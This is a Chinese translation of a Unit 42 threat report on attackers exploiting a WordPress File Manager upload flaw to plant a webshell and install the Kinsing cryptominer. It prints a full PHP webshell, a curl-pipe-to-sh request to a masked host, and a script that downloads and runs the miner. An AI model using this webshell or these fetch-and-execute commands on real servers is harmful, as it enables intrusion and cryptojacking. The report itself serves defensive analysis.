2020年12月,Unit 42研究人员发现有攻击者尝试利用WordPress File Manager(文件管理器)插件中的文件上传漏洞。攻击者成功利用该漏洞可以以任意文件名和扩展上传任意文件,引发目标web 服务器上的远程代码执行。
攻击者利用该漏洞利用来安装webshell,然后该webshell 被用来安装Kinsing恶意软件,该恶意软件会从H2miner 家族运行恶意加密货币挖矿机。Kinsing是用Golang编程语言开发的,最终的目标是用于容器环境中的加密货币劫持攻击。
CVE-2020-2513和Webshells
CVE-2020-2513漏洞产生的原因是WordPress文件管理器插件将elFinder库的connector.minimal.php.dist 文件扩展名改成了.php,所以该文件可以直接执行。但是因为该文件没有访问限制,因此任何浏览该web 服务器的用户都可以执行。该文件包含无需认证就上传文件到web服务器的机制。由于该漏洞,任何人都可以上传文件,因此恶意攻击者就利用该机制来上传webshell,可以用来进行下一步的恶意软件安装或加密货币挖矿活动。
攻击链
研究人员调查发现被攻击的机器中有以下日志信息,其中发给Web服务器的HTTP POST请求有:
- [19/Dec/2020:08:58:08 +0000] “POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1” 200 1453 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36”
该请求用来上传webshell。研究人员进一步分析发现了恶意webshell:
- [19/Dec/2020:08:57:48 +0000] “GET /wp-content/plugins/wp-file-manager/lib/files/k.php?cmd=curl+X.X.X.X%2Fwpf.sh%7Csh HTTP/1.1” 200 411
从上图中可以发现,该webshell名为k.php,并提供了一个执行的命令。该webshell 本身非常简单,是在web 服务器上明文保存的,并且不含有任何的混淆和认证措施:
- < ?php if(isset($_REQUEST['cmd']){ echo "< pre >"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "< /pre >"; die; }? >
研究人员进一步分析返回给webshell k.php的HTTP GET请求,发现该命令调用了下载名为wpf.sh文件的curl 命令,并执行该文件。
研究人员从攻击者的C2 服务器中获得了该shell脚本,文件内容如下:
- $WGET $DIR/kinsing http://X.X.X.X/kinsing
- chmod +x $DIR/kinsing
- …
- SKL=wpf $DIR/kinsing
- …
wpf.sh文件是一个使用wget下载Kinsing的脚本,给予该脚本执行权限,并执行。
总结
研究人员发现了WordPress 文件管理器远程代码执行漏洞 CVE-2020-25213 的在野利用。攻击者利用该漏洞利用来安装Kinsing恶意软件,运行一个H2miner家族的恶意加密货币挖矿机。Kinsing的最终目标是用于容器环境的加密货币劫持攻击。
本文翻译自:https://unit42.paloaltonetworks.com/cve-2020-25213/如若转载,请注明原文地址。